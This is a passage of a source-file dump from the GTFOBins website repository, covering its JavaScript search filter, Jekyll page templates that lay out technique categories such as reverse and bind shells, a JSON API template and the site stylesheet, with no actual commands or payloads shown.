functionElem.classList.remove('match');\n                    delete functionElem.firstElementChild.dataset.matchingContexts;\n                }\n\n                // skip if empty filters\n                if (functionPattern || contextPattern) {\n                    // test the individual functions\n                    let noMatchingFunctions = true;\n                    for (const functionElem of functionElems) {\n                        // test the function name\n                        const functionMatches = !functionPattern || functionPattern.test(functionElem.dataset.functionName)\n                        if (!functionMatches) {\n                            continue;\n                        }\n\n                        // test the contexts\n                        const contextList = functionElem.dataset.functionContexts.split(',');\n                        const matchingContexts = contextPattern\n                            ? contextList.filter((context) => contextPattern.test(context))\n                            : contextList;\n                        if (matchingContexts.length === 0) {\n                            continue;\n                        }\n                        // save the macthing contexts only if there is a pattern\n                        else if (contextPattern) {\n                            functionElem.firstElementChild.dataset.matchingContexts = matchingContexts.join(', ');\n                        }\n\n                        // match if both match\n                        noMatchingFunctions = false;\n                        functionElem.classList.add('match');\n                    }\n\n                    // no function satisfies the patterns\n                    if (noMatchingFunctions) {\n                        showRow = false;\n                    }\n                }\n            }\n\n            // hide or show the row\n            if (showRow) {\n                row.classList.remove('hidden');\n                nResults++;\n            } else {\n                row.classList.add('hidden');\n            }\n        }\n\n        // update the message visibility\n        const header = table.querySelector('thead');\n        const footer = table.querySelector('tfoot');\n        if (nResults === 0) {\n            header.classList.add('hidden');\n            footer.classList.remove('hidden');\n        } else {\n            header.classList.remove('hidden');\n            footer.classList.add('hidden');\n        }\n\n        // restore the table visibility\n        table.classList.remove('hidden');\n    }\n\n    function applyFilter() {\n        // filter on load according to the URL\n        const searchToolbox = document.querySelector('#search-toolbox');\n        const searchField = searchToolbox.querySelector('input');\n        const query = decodeURIComponent(location.hash.slice(1));\n        filter(query);\n\n        // if there is a filter fill the box and enter search mode\n        if (query) {\n            searchField.value = query;\n            searchField.focus();\n            searchToolbox.scrollIntoView();\n        }\n    }\n\n    function setup() {\n        const searchToolbox = document.querySelector('#search-toolbox');\n        const searchField = searchToolbox.querySelector('input');\n\n        // handle user input\n        searchField.addEventListener('input', () => {\n            const query = searchField.value;\n            history.replaceState(null, null, encodeURI(`#${query}`));\n            applyFilter();\n        });\n\n        // handle shortcuts\n        addEventListener('keydown', (event) => {\n            // focus search box on valid keydown (search as you type)\n            if (event.key.toLowerCase().match(/^[-_0-9a-z\\/^$]$/) && !(event.ctrlKey || event.altKey || event.metaKey)) {\n                searchField.focus();\n            } else if (event.key === 'Escape') {\n                // if the search box is already focused and empty scroll to top\n                if (document.activeElement === searchField && searchField.value === '') {\n                    window.scrollTo(0, 0);\n                    searchField.blur();\n                }\n                // clear filter and enter search mode\n                else {\n                    searchField.focus();\n                    location.hash = searchField.value = '';\n                    searchToolbox.scrollIntoView();\n                }\n            } else if (event.key === 'Enter') {\n                // navigate to the first match\n                const firstMatch = document.querySelector('#gtfobin-table tbody tr:not(.hidden) th a');\n                if (firstMatch) {\n                    firstMatch.click();\n                }\n            }\n        });\n\n        // handle URL changes\n        window.onhashchange = applyFilter;\n\n        // trigger filter on page load\n        applyFilter();\n    }\n\n    setup();\n</script>\n"
  },
  {
    "path": "_includes/page_title.html",
    "content": "<h1>\n    <div>\n        {%- if page.url != '/' -%}\n            <a href=\"{{ \"/\" | relative_url }}\">..</a> /\n            {{ include.title }}\n        {%- else -%}\n            <span class=\"accent\">GTFO</span>Bins\n        {%- endif -%}\n    </div>\n    <div class=\"buttons\">\n        <div class=\"dark-theme\"><a class=\"github-button\" href=\"https://github.com/sponsors/GTFOBins\" data-color-scheme=\"dark\" data-icon=\"octicon-heart\" data-size=\"large\" aria-label=\"Sponsor @GTFOBins on GitHub\">Sponsor</a></div>\n        <div class=\"dark-theme\"><a class=\"github-button\" href=\"https://github.com/GTFOBins/gtfobins.github.io/fork\" data-color-scheme=\"dark\" data-icon=\"octicon-repo-forked\" data-size=\"large\" aria-label=\"Fork GTFOBins/gtfobins.github.io on GitHub\">Fork</a></div>\n        <div class=\"dark-theme\"><a class=\"github-button\" href=\"https://github.com/GTFOBins/gtfobins.github.io\" data-color-scheme=\"dark\" data-icon=\"octicon-star\" data-size=\"large\" data-show-count=\"true\" aria-label=\"Star GTFOBins/gtfobins.github.io on GitHub\">Star</a></div>\n        <div class=\"light-theme\"><a class=\"github-button\" href=\"https://github.com/sponsors/GTFOBins\" data-color-scheme=\"light\" data-icon=\"octicon-heart\" data-size=\"large\" aria-label=\"Sponsor @GTFOBins on GitHub\">Sponsor</a></div>\n        <div class=\"light-theme\"><a class=\"github-button\" href=\"https://github.com/GTFOBins/gtfobins.github.io/fork\" data-color-scheme=\"light\" data-icon=\"octicon-repo-forked\" data-size=\"large\" aria-label=\"Fork GTFOBins/gtfobins.github.io on GitHub\">Fork</a></div>\n        <div class=\"light-theme\"><a class=\"github-button\" href=\"https://github.com/GTFOBins/gtfobins.github.io\" data-color-scheme=\"light\" data-icon=\"octicon-star\" data-size=\"large\" data-show-count=\"true\" aria-label=\"Star GTFOBins/gtfobins.github.io on GitHub\">Star</a></div>\n        <div id=\"theme-switcher\">\n            <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-sun-fill dark-theme\" viewBox=\"0 0 16 16\">\n                <path d=\"M8 12a4 4 0 1 0 0-8 4 4 0 0 0 0 8M8 0a.5.5 0 0 1 .5.5v2a.5.5 0 0 1-1 0v-2A.5.5 0 0 1 8 0m0 13a.5.5 0 0 1 .5.5v2a.5.5 0 0 1-1 0v-2A.5.5 0 0 1 8 13m8-5a.5.5 0 0 1-.5.5h-2a.5.5 0 0 1 0-1h2a.5.5 0 0 1 .5.5M3 8a.5.5 0 0 1-.5.5h-2a.5.5 0 0 1 0-1h2A.5.5 0 0 1 3 8m10.657-5.657a.5.5 0 0 1 0 .707l-1.414 1.415a.5.5 0 1 1-.707-.708l1.414-1.414a.5.5 0 0 1 .707 0m-9.193 9.193a.5.5 0 0 1 0 .707L3.05 13.657a.5.5 0 0 1-.707-.707l1.414-1.414a.5.5 0 0 1 .707 0m9.193 2.121a.5.5 0 0 1-.707 0l-1.414-1.414a.5.5 0 0 1 .707-.707l1.414 1.414a.5.5 0 0 1 0 .707M4.464 4.465a.5.5 0 0 1-.707 0L2.343 3.05a.5.5 0 1 1 .707-.707l1.414 1.414a.5.5 0 0 1 0 .708\"/>\n            </svg>\n            <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-moon-fill light-theme\" viewBox=\"0 0 16 16\">\n                <path d=\"M6 .278a.77.77 0 0 1 .08.858 7.2 7.2 0 0 0-.878 3.46c0 4.021 3.278 7.277 7.318 7.277q.792-.001 1.533-.16a.79.79 0 0 1 .81.316.73.73 0 0 1-.031.893A8.35 8.35 0 0 1 8.344 16C3.734 16 0 12.286 0 7.71 0 4.266 2.114 1.312 5.124.06A.75.75 0 0 1 6 .278\"/>\n            </svg>\n        </div>\n    </div>\n</h1>\n"
  },
  {
    "path": "_layouts/common.html",
    "content": "{%- if page.layout == 'gtfobin' -%}\n    {%- capture gtfobin_name -%}{%- include get_gtfobin_name.html path=page.path -%}{%- endcapture -%}\n    {%- capture title -%}{{ gtfobin_name }}{{ ' | ' }}{{ site.title }}{%- endcapture -%}\n    {%- capture description -%}Living off the land using \"{{ gtfobin_name }}\".{%- endcapture -%}\n{%- else -%}\n    {%- capture title -%}{%- if page.url != '/' -%}{{ page.title }}{{ ' | ' }}{%- endif -%}{{ site.title }}{%- endcapture -%}\n    {%- assign description = page.description -%}\n{%- endif -%}\n<!DOCTYPE html>\n<html lang=\"en\">\n    <head>\n        <meta charset=\"utf-8\">\n        <title>{{ title }}</title>\n        <link rel=\"canonical\" href=\"{{ page.url | absolute_url }}\">\n        <meta name=\"description\" content=\"{{ description | escape }}\">\n        <link rel=\"icon\" href=\"{{ \"/assets/logo.png\" | relative_url }}\">\n        <meta property=\"og:title\" content=\"{{ title }}\">\n        <meta property=\"og:description\" content=\"{{ description | escape }}\">\n        <meta property=\"og:image\" content=\"{{ \"/assets/logo.png\" | absolute_url }}\">\n        <meta name=\"twitter:card\" content=\"summary\">\n        <meta name=\"twitter:title\" content=\"{{ title }}\">\n        <meta name=\"twitter:description\" content=\"{{ description | escape }}\">\n        <meta name=\"twitter:image\" content=\"{{ \"/assets/logo.png\" | absolute_url }}\">\n        <link rel=\"stylesheet\" href=\"{{ \"/assets/style.css\" | relative_url }}\" type=\"text/css\"/>\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, maximum-scale=5.0, user-scalable=yes\">\n        <script async defer src=\"https://buttons.github.io/buttons.js\"></script>\n        <script>\n            document.documentElement.dataset.theme = localStorage.getItem('theme')\n                || (matchMedia('(prefers-color-scheme: dark)').matches ? 'dark' : 'light')\n                || 'dark';\n\n            addEventListener('load', () => {\n                document.getElementById('theme-switcher').addEventListener('click', (event) => {\n                    let theme;\n                    switch (document.documentElement.dataset.theme) {\n                        case 'dark': theme = 'light'; break;\n                        case 'light': theme = 'dark'; break;\n                        default: return;\n                    }\n\n                    document.documentElement.dataset.theme = theme;\n                    localStorage.setItem('theme', theme);\n                });\n            });\n        </script>\n    </head>\n    <body>\n        <!-- adapted from https://tholman.com/github-corners/ -->\n        <svg class=\"github-corner\" width=\"80\" height=\"80\" viewBox=\"0 0 250 250\" style=\"position: absolute; top: 0; border: 0; right: 0; pointer-events: none;\" aria-hidden=\"true\"><a href=\"https://github.com/GTFOBins/GTFOBins.github.io\"><path d=\"M0,0 L250,250 L250,0 Z\" style=\"pointer-events: auto; fill: transparent;\"/></a><path d=\"M0,0 L115,115 L130,115 L142,142 L250,250 L250,0 Z\"/><path d=\"M128.3,109.0 C113.8,99.7 119.0,89.6 119.0,89.6 C122.0,82.7 120.5,78.6 120.5,78.6 C119.2,72.0 123.4,76.3 123.4,76.3 C127.3,80.9 125.5,87.3 125.5,87.3 C122.9,97.6 130.6,101.9 134.4,103.2\" fill=\"currentColor\" style=\"transform-origin: 130px 106px;\" class=\"octo-arm\"/><path d=\"M115.0,115.0 C114.9,115.1 118.7,116.5 119.8,115.4 L133.7,101.6 C136.9,99.2 139.9,98.4 142.2,98.6 C133.8,88.0 127.5,74.4 143.8,58.0 C148.5,53.4 154.0,51.2 159.7,51.0 C160.3,49.4 163.2,43.6 171.4,40.1 C171.4,40.1 176.1,42.5 178.8,56.2 C183.1,58.6 187.2,61.8 190.9,65.4 C194.5,69.0 197.7,73.2 200.1,77.6 C213.8,80.2 216.3,84.9 216.3,84.9 C212.7,93.1 206.9,96.0 205.4,96.6 C205.1,102.4 203.0,107.8 198.3,112.5 C181.9,128.9 168.3,122.5 157.7,114.1 C157.9,116.9 156.7,120.9 152.7,124.9 L141.0,136.5 C139.8,137.7 141.6,141.9 141.8,141.8 Z\" fill=\"currentColor\" class=\"octo-body\"/></svg><style>.github-corner:hover .octo-arm{animation:octocat-wave 560ms ease-in-out}@keyframes octocat-wave{0%,100%{transform:rotate(0)}20%,60%{transform:rotate(-25deg)}40%,80%{transform:rotate(10deg)}}@media (max-width:500px){.github-corner:hover .octo-arm{animation:none}.github-corner .octo-arm{animation:octocat-wave 560ms ease-in-out}}</style>\n        {{ content }}\n        <script>\n            // add permalink on headings\n            document.querySelectorAll('h2, h3, h4, h5, h5').forEach((heading) => {\n                const link = document.createElement('a');\n                link.className = 'permalink';\n                link.href = `#${heading.id}`;\n                heading.appendChild(link);\n            });\n\n            // add button to copy code blocks\n            document.querySelectorAll('pre').forEach((pre) => {\n                const button = document.createElement('button');\n                button.innerText = 'Copy';\n                button.addEventListener('click', () => {\n                    navigator.clipboard.writeText(pre.firstChild.innerText);\n                });\n                pre.appendChild(button);\n            });\n        </script>\n    </body>\n</html>\n"
  },
  {
    "path": "_layouts/gtfobin.html",
    "content": "---\nlayout: common\n---\n\n{%- assign original_gtfobin = page -%}\n\n{%- comment -%} get the default context name to use it as default {%- endcomment -%}\n{%- assign default_context_name = site.data.contexts | first | first -%}\n\n{%- comment -%} executable title {%- endcomment -%}\n{%- capture gtfobin_name -%}{%- include get_gtfobin_name.html path=original_gtfobin.path -%}{%- endcapture -%}\n{%- include page_title.html title=gtfobin_name -%}\n\n{%- comment -%} resolve the alias {%- endcomment -%}\n{%- if original_gtfobin.alias -%}\n    {%- include get_gtfobin.html name=original_gtfobin.alias -%}\n    {%- assign gtfobin = return_gtfobin -%}\n\n    {%- comment -%} render a message about being an alias {%- endcomment -%}\n    <p>This is an alias of <a href=\"{{ gtfobin.url | relative_url }}\"><code>{{ return_gtfobin_name }}</code></a>.</p>\n{%- else -%}\n    {%- assign gtfobin = original_gtfobin -%}\n{%- endif -%}\n\n{%- comment -%} function list {%- endcomment -%}\n{%- include function_list.html gtfobin=original_gtfobin functions=gtfobin.functions -%}\n\n{%- comment -%} global executable comment {%- endcomment -%}\n{%- if gtfobin.comment -%}\n    <fieldset>\n        <legend>Comment</legend>\n        {{ gtfobin.comment | markdownify }}\n    </fieldset>\n{%- endif -%}\n\n{%- comment -%} scan all the available functions in order to find those present {%- endcomment -%}\n{%- for function_item in site.data.functions -%}\n    {%- assign function_name = function_item[0] -%}\n    {%- assign function = function_item[1] -%}\n    {%- unless gtfobin.functions contains function_name -%}{%- continue -%}{%- endunless -%}\n    {%- assign examples = gtfobin.functions[function_name] -%}\n\n    {%- comment -%} function title and global description {%- endcomment -%}\n    <h2 id=\"{{ function_name }}\" class=\"function-name\">{{- function.label -}}</h2>\n    {{ function.description | markdownify }}\n\n    {%- comment -%} list of function examples {%- endcomment -%}\n    <ul class=\"examples\">\n        {%- for example in examples -%}\n            <li>\n                {%- comment -%} build the identifier of this example {%- endcomment -%}\n                {%- capture example_id -%}{{ function_name }}-{{ forloop.index }}{%- endcapture -%}\n\n                {%- comment -%} version {%- endcomment -%}\n                {%- if example.version -%}\n                    <fieldset>\n                        <legend>Version requirements</legend>\n                        {{ example.version | markdownify }}\n                    </fieldset>\n                {%- endif -%}\n\n                {%- comment -%} example comment {%- endcomment -%}\n                {%- if example.comment -%}\n                    <fieldset>\n                        <legend>Comment</legend>\n                        {{ example.comment | markdownify }}\n                    </fieldset>\n                {%- endif -%}\n\n                {%- comment -%} list of contexts for each example {%- endcomment -%}\n                <div class=\"contexts\">\n                    {%- comment -%} scan all the available contexts in order to find those present falling back to the default {%- endcomment -%}\n                    {%- assign first = true -%}\n                    {%- for context_item in site.data.contexts -%}\n                        {%- assign context_name = context_item[0] -%}\n                        {%- assign context = context_item[1] -%}\n\n                        {%- unless example.contexts contains context_name or example.contexts == nil and context_name == default_context_name -%}{%- continue -%}{%- endunless -%}\n                        {%- assign per_context_info = example.contexts[context_name] -%}\n\n                        {%- comment -%} context information {%- endcomment -%}\n                        {%- capture context_id -%}{{ example_id }}-{{ context_name }}{%- endcapture -%}\n                        <input type=\"radio\" id=\"{{ context_id }}\" name=\"{{ example_id }}\" {%- if first -%}checked{%- endif -%} />\n                        <label for=\"{{ context_id }}\">{{ context.label }}</label>\n                        <div>\n                            {%- comment -%} global context description {%- endcomment -%}\n                            {{ context.description | markdownify }}\n\n                            {%- comment -%} additional per-context content {%- endcomment -%}\n                            {%- case context_name -%}\n                            {%- when \"sudo\" -%}\n                                <fieldset>\n                                    <legend>Remarks</legend>\n                                    {{ context.extra.environment | markdownify }}\n                                </fieldset>\n                            {%- when \"suid\" -%}\n                                {%- if per_context_info.shell != nil -%}\n                                    <fieldset>\n                                        <legend>Remarks</legend>\n                                        {%- if per_context_info.shell -%}\n                                            {{ context.extra.shell[true] | markdownify }}\n                                        {%- else -%}\n                                            {{ context.extra.shell[false] | markdownify }}\n                                        {%- endif -%}\n                                    </fieldset>\n                                {%- endif -%}\n                            {%- when \"capabilities\" -%}\n                                <p>\n                                    {{ context.extra.list }}{{ ' ' }}\n                                    {%- for capability in per_context_info.list -%}\n                                        <code>{{ capability | escape }}</code>\n                                        {%- if forloop.last -%}.{%- else -%}{{ ', ' }}{%- endif -%}\n                                    {%- endfor -%}\n                                </p>\n                            {%- endcase -%}\n\n                            {%- comment -%} optional local comment {%- endcomment -%}\n                            {%- if per_context_info.comment -%}\n                                <fieldset>\n                                    <legend>Comment</legend>\n                                    {{ per_context_info.comment | markdownify }}\n                                </fieldset>\n                            {%- endif -%}\n\n                            {%- comment -%} use the common code or the specialized per-context version {%- endcomment -%}\n                            {%- capture code -%}{%- if per_context_info.code -%}{{ per_context_info.code }}{%- else -%}{{ example.code }}{%- endif -%}\n                            {%- endcapture -%}\n                            <pre><code>{{- code | escape | strip -}}</code></pre>\n                        </div>\n\n                        {%- assign first = false -%}\n                    {%- endfor -%}\n                </div>\n\n                {%- comment -%} additional per-function content {%- endcomment -%}\n                {%- case function_name -%}\n                {%- when \"shell\", \"command\", \"reverse-shell\", \"bind-shell\" -%}\n                    {%- if example.blind -%}\n                        <fieldset>\n                            <legend>Output</legend>\n                            {{ function.extra.blind[true] | markdownify }}\n                        </fieldset>\n                    {%- endif -%}\n                {%- when \"file-write\", \"file-read\", \"upload\", \"download\" -%}\n                    {%- if example.binary == false -%}\n                        <fieldset>\n                            <legend>Remarks</legend>\n                            {{ function.extra.binary[false] | markdownify }}\n                        </fieldset>\n                    {%- endif -%}\n                {%- when \"shell\", \"reverse-shell\", \"bind-shell\" -%}\n                    {%- if example.tty == false -%}\n                        <fieldset>\n                            <legend>TTY</legend>\n                            {{ function.extra.tty[false] | markdownify }}\n                        </fieldset>\n                    {%- endif -%}\n                {%- when \"reverse-shell\" -%}\n                    {%- if example.listener -%}\n                        {%- assign known = function.extra.listener[example.listener] -%}\n                        {%- assign comment = known.comment | default: example.listener.comment -%}\n                        {%- assign code = known.code | default: example.listener.code -%}\n                        <fieldset>\n                            <legend>Listener</legend>\n                            {{ comment | markdownify }}\n                            {%- if code -%}\n                                <pre><code>{{- code | escape | strip -}}</code></pre>\n                            {%- endif -%}\n                        </fieldset>\n                    {%- endif -%}\n                {%- when \"bind-shell\" -%}\n                    {%- if example.connector -%}\n                        {%- assign known = function.extra.connector[example.connector] -%}\n                        {%- assign comment = known.comment | default: example.connector.comment -%}\n                        {%- assign code = known.code | default: example.connector.code -%}\n                        <fieldset>\n                            <legend>Connector</legend>\n                            {{ comment | markdownify }}\n                            {%- if code -%}\n                                <pre><code>{{- code | escape | strip -}}</code></pre>\n                            {%- endif -%}\n                        </fieldset>\n                    {%- endif -%}\n                {%- when \"upload\" -%}\n                    {%- if example.receiver -%}\n                        {%- assign known = function.extra.receiver[example.receiver] -%}\n                        {%- assign comment = known.comment | default: example.receiver.comment -%}\n                        {%- assign code = known.code | default: example.receiver.code -%}\n                        <fieldset>\n                            <legend>Receiver</legend>\n                            {{ comment | markdownify }}\n                            {%- if code -%}\n                                <pre><code>{{- code | escape | strip -}}</code></pre>\n                            {%- endif -%}\n                        </fieldset>\n                    {%- endif -%}\n                {%- when \"download\" -%}\n                    {%- if example.sender -%}\n                        {%- assign known = function.extra.sender[example.sender] -%}\n                        {%- assign comment = known.comment | default: example.sender.comment -%}\n                        {%- assign code = known.code | default: example.sender.code -%}\n                        <fieldset>\n                            <legend>Sender</legend>\n                            {{ comment | markdownify }}\n                            {%- if code -%}\n                                <pre><code>{{- code | escape | strip -}}</code></pre>\n                            {%- endif -%}\n                        </fieldset>\n                    {%- endif -%}\n                {%- when \"library-load\" -%}\n                    <fieldset>\n                        <legend>Payload</legend>\n                        {{ function.extra.payload | markdownify }}\n                    </fieldset>\n                {%- endcase -%}\n\n                {%- comment -%} add a link to the inheriting executable and display the functions {%- endcomment -%}\n                {%- if function_name == \"inherit\" -%}\n                    {%- include get_gtfobin.html name=example.from -%}\n                    {%- assign gtfobin = return_gtfobin -%}\n\n                    <fieldset>\n                        <legend>Functions</legend>\n                        <p>\n                            Inherits from <a href=\"{{ gtfobin.url | relative_url }}\"><code>{{ example.from | escape }}</code></a>, thus possibly granting the following functions:\n                        </p>\n                        <p>\n                            {%- include function_list.html gtfobin=gtfobin functions=gtfobin.functions -%}\n                        </p>\n                    </fieldset>\n                {%- endif -%}\n            </li>\n        {%- endfor -%}\n    </ul>\n{%- endfor -%}\n\n{%- comment -%} footer with some GitHub links about this executable {%- endcomment -%}\n<p class=\"small centered\">\n  <a class=\"small-link\" href=\"https://github.com/GTFOBins/GTFOBins.github.io/blob/master/_gtfobins/{{ gtfobin_name }}\">Source</a>\n  |\n  <a class=\"small-link\" href=\"https://github.com/GTFOBins/GTFOBins.github.io/commits/master/_gtfobins/{{ gtfobin_name }}\">History</a>\n</p>\n"
  },
  {
    "path": "_layouts/page.html",
    "content": "---\nlayout: common\n---\n\n{%- include page_title.html title=page.title -%}\n\n{{ content }}\n"
  },
  {
    "path": "api.json",
    "content": "---\n---\n{\n    \"functions\": {{ site.data.functions | jsonify -}},\n    \"contexts\": {{ site.data.contexts | jsonify -}},\n    \"executables\": {\n        {%- for gtfobin in site.gtfobins -%}\n            {%- capture name -%}{%- include get_gtfobin_name.html path=gtfobin.path -%}{%- endcapture -%}\n            {{ name | jsonify -}}: {\n                {%- assign root_fields = 'comment,functions,alias' | split: ',' -%}\n                {%- assign comma = false -%}\n                {%- for field in root_fields -%}\n                    {%- if gtfobin[field] -%}\n                        {%- if comma -%},{%- endif -%}\n                        {%- assign comma = true -%}\n                        {{- field | jsonify -}}: {{- gtfobin[field] | jsonify -}}\n                    {%- endif -%}\n                {%- endfor -%}\n            }\n            {%- unless forloop.last -%},{%- endunless -%}\n        {%- endfor -%}\n    }\n}\n"
  },
  {
    "path": "assets/style.scss",
    "content": "---\n---\n\n:root[data-theme=dark] {\n    --foreground: #e6e6e6;\n    --background: #0f0f0f;\n    --faint: #666666;\n    --lighter: #2a1212;\n    --marked: #5a1a1a;\n    --hover: #ff4d4d;\n}\n\n:root[data-theme=light] {\n    --foreground: #000000;\n    --background: #ffffff;\n    --faint: #999999;\n    --lighter: #fff4f4;\n    --marked: #ffcccc;\n    --hover: #ff0000;\n}\n\n:root[data-theme=dark] {\n    .light-theme {\n        display: none;\n    }\n}\n\n:root[data-theme=light] {\n    .dark-theme {\n        display: none;\n    }\n}\n\n$accent: #bf0707;\n$logo-backdrop: #ffffff;\n\n$foreground: var(--foreground);\n$background: var(--background);\n$faint: var(--faint);\n$lighter: var(--lighter);\n$marked: var(--marked);\n$hover: var(--hover);\n\n$default-font-size: 16px;\n$code-font-size: 13px;\n$small-font-size: 14px;\n\n// layout\n\n$column-width: 800px;\n$grace-space: 200px;\n$layout-break: \"(min-width: #{$column-width + $grace-space})\";\n\n@media #{$layout-break} {\n    body {\n        width: $column-width;\n        margin-left: auto;\n        margin-right: auto;\n        margin-top: 40px;\n    }\n\n    p {\n        text-align: justify;\n    }\n}\n\n@media not all and #{$layout-break} {\n    .github-corner {\n        display: none;\n    }\n}\n\n// common tags\n\nbody {\n    font-family: system-ui, sans-serif;\n    font-size: $default-font-size;\n    color: $foreground;\n    background: $background;\n}\n\ncode {\n    font-size: $code-font-size;\n    padding: 0.15em 0.25em;\n    border-radius: 0.25em;\n    color: $accent;\n    background: $lighter;\n}\n\npre {\n    background: $lighter;\n    font-size: $code-font-size;\n    margin: 1rem 0; // to be coherent with the regular-sized text\n    position: relative;\n    overflow: hidden;\n\n    code {\n        display: block;\n        border-radius: 0;\n        padding: 1em;\n        width: 100%;\n        box-sizing: border-box;\n        overflow-x: auto;\n    }\n\n    button {\n        display: none;\n        position: absolute;\n        top: 0;\n        right: 0;\n        cursor: pointer;\n        outline: none;\n        padding: 0.25em 0.5em;\n        border: 5px solid $background;\n        border-top: none;\n        border-right: none;\n        color: $accent;\n        background-color: $lighter;\n\n        &:hover {\n            color: $hover;\n        }\n\n        &:active {\n            color: $lighter; // just to give some click feedback\n        }\n    }\n\n    &:hover button {\n        display: block;\n    }\n}\n\ndt {\n    font-weight: bold;\n}\n\nblockquote {\n    margin: 1em 0;\n\n    p {\n        padding: 1em;\n        margin: 0;\n        background: $lighter;\n    }\n}\n\nhr {\n    border: none;\n    height: 1px;\n    background: $foreground;\n}\n\na {\n    &:link, &:visited {\n        color: $accent;\n    }\n\n    &:hover {\n        color: $hover;\n\n        & > *:not(svg) { // XXX not for the GitHub corner\n            color: $hover;\n        }\n    }\n}\n\np {\n    line-height: 1.25;\n}\n\nfieldset {\n    border: 1px solid $faint;\n    position: relative;\n    margin: 1em 0;\n    padding: 0 1em;\n    min-width: 0; // XXX needed to avoid outgrow with code blocks\n\n    legend {\n        color: $accent;\n        font-size: $small-font-size;\n        padding: 0 0.5em;\n        position: absolute;\n        background-color: $background;\n        top: -0.5lh;\n    }\n}\n\n::selection {\n    background-color: $foreground;\n    color: $background;\n}\n\n// page title\n\nh1 {\n    display: flex;\n    column-gap: 0.5rem;\n    row-gap: 0.5rem;\n    flex-wrap: wrap;\n    align-items: center;\n    justify-content: space-between;\n\n    .buttons {\n        display: flex;\n        column-gap: 0.5rem;\n        row-gap: 0.5rem;\n        flex-wrap: wrap;\n\n        a.github-button {\n            visibility: hidden; // XXX avoid displaying the link text during loading\n        }\n\n        span {\n            display: flex; // XXX get rid of sapce around\n        }\n\n        #theme-switcher {\n            display: flex;\n            align-items: center;\n            cursor: pointer;\n            user-select: none;\n\n            &:hover {\n                color: $hover;\n            }\n        }\n    }\n}\n\n// permalink on headings\n\nh2, h3, h4, h5, h5 {\n    .permalink {\n        margin-left: 5px;\n        text-decoration: none;\n        visibility: hidden;\n\n        &::before {\n            content: \"#\";\n        }\n    }\n\n    &:target {\n        border-left: 5px solid $accent;\n        padding-left: 5px;\n    }\n\n    &:hover {\n        .permalink {\n            visibility: visible;\n        }\n    }\n}\n\n// list and search\n\n#search-toolbox {\n    padding-top: 1px; // XXX needed for scrollIntoView\n    margin-top: 80px;\n    margin-bottom: 20px;\n    position: relative; // XXX needed for tooltip sizing\n\n    fieldset {\n        padding: 1em;\n        border-color: $accent;\n\n        legend {\n            color: $foreground;\n            font-size: initial;\n            font-weight: bold;\n        }\n    }\n\n    .search-filters {\n        display: flex;\n        flex-wrap: wrap;\n        justify-content: center;\n\n        a {\n            background: $lighter;\n            font-size: initial;\n            border-radius: 0.25em;\n\n            &:hover:before {\n                content: attr(data-title);\n                font-size: $small-font-size;\n                text-align: center;\n                display: block;\n                position: absolute;\n                left: 10%;\n                right: 10%;\n                margin-top: 1.75rem; // XXX below the button\n                padding: 1em;\n                color: $background;\n                background: $foreground;\n                border-radius: 0.25em;\n                pointer-events: none;\n                z-index: 1;\n            }\n        }\n    }\n\n    input {\n        // enlarge the click area\n        margin: -1rem;\n        padding: 1rem;\n        background: transparent;\n\n        // adjust the width due to negative padding\n        width: calc(100% + 2rem);\n\n        color: $foreground;\n        font-size: 1rem;\n        box-sizing: border-box;\n        outline: none;\n        border: none;\n    }\n}\n\n#gtfobin-table-wrapper {\n    min-height: 100vh;\n\n    #gtfobin-table {\n        width: 100%;\n        border-spacing: 0;\n\n        &, th, td {\n            border: none;\n        }\n\n        thead {\n            th {\n                padding: 1em;\n                text-align: left;\n\n                &:last-child {\n                    width: 100%;\n                }\n            }\n        }\n\n        tbody {\n            th {\n                padding: 0 1em;\n                font-family: monospace;\n                white-space: nowrap;\n                font-weight: normal;\n                text-align: left;\n\n                a {\n                    text-decoration: none;\n                }\n            }\n\n            td {\n                padding: 0.5em 1em;\n            }\n\n            tr:hover {\n                background: $lighter;\n            }\n        }\n\n        tfoot {\n            text-align: center;\n            padding: 1em;\n        }\n    }\n}\n\n// function and contexts buttons used in both the table and single pages\n\n.tag-list {\n    display: flex;\n    flex-wrap: wrap;\n    font-size: $small-font-size;\n    list-style: none;\n    column-gap: 0.25em;\n    row-gap: 0.25em;\n    padding: 0;\n    margin: 0;\n\n    li {\n        a {\n            display: inline-block;\n            padding: 0.25em 0.5em;\n            border: 1px solid $accent;\n        }\n\n        a:link, a:visited {\n            color: $accent;\n            text-decoration: none;\n        }\n\n        a:hover {\n            color: $hover;\n            border-color: $hover;\n        }\n\n        &.match a {\n            background: $marked;\n\n            &[data-matching-contexts]::after {\n                content: \" (\" attr(data-matching-contexts) \")\";\n            }\n        }\n\n        &.inherit a {\n            border-style: dashed;\n        }\n    }\n}\n\n// function examples\n\n.examples {\n    display: table;\n    width: 100%;\n    table-layout: fixed;\n    counter-reset: item;\n    margin: 0;\n    padding: 0;\n\n    & > li {\n        display: table-row;\n\n        &:before {\n            display: table-cell;\n            font-size: $small-font-size;\n            font-weight: bold;\n            width: 3em;\n            text-align: center;\n            counter-increment: item;\n            content: \"(\" counter(item, lower-alpha) \")\";\n        }\n    }\n}\n\n// context tabs\n\n.contexts {\n    display: flex;\n    flex-wrap: wrap;\n    margin: 1em 0;\n\n    input[type=radio] {\n        display: none;\n\n        &:checked + label {\n            color: $accent;\n            background: $background;\n            cursor: auto;\n        }\n\n        &:checked + label + div {\n            display: block;\n        }\n    }\n\n    & > label {\n        font-size: $small-font-size;\n        margin-left: 0.5em;\n        padding: 0.25em 0.5em;\n        border: 1px solid $faint;\n        border-bottom: none;\n        cursor: pointer;\n        position: relative;\n        top: 1px;\n\n        &:hover {\n            color: $hover;\n        }\n    }\n\n    & > div {\n        display: none;\n        flex-basis: 100%;\n        width: 0px; // XXX avoid growing\n        order: 999;\n        padding: 0 1em;\n        border: 1px solid $faint;\n    }\n}\n\n// description table\n\n.description-table {\n    border-collapse: collapse;\n\n    tbody {\n        th {\n            white-space: nowrap;\n            text-align: right;\n        }\n\n        th, td {\n            border: 1px solid $foreground;\n            padding: 0 0.5em;\n        }\n    }\n}\n\n// other classes\n\n.accent {\n    color: $accent;\n}\n\n.hidden {\n    display: none;\n}\n\n.logo {\n    $margin: 20px;\n    float: right;\n    width: 100px;\n    height: 100px;\n    margin-left: $margin;\n    margin-bottom: $margin;\n    pointer-events: none;\n    background-color: $logo-backdrop;\n    border: 1px solid 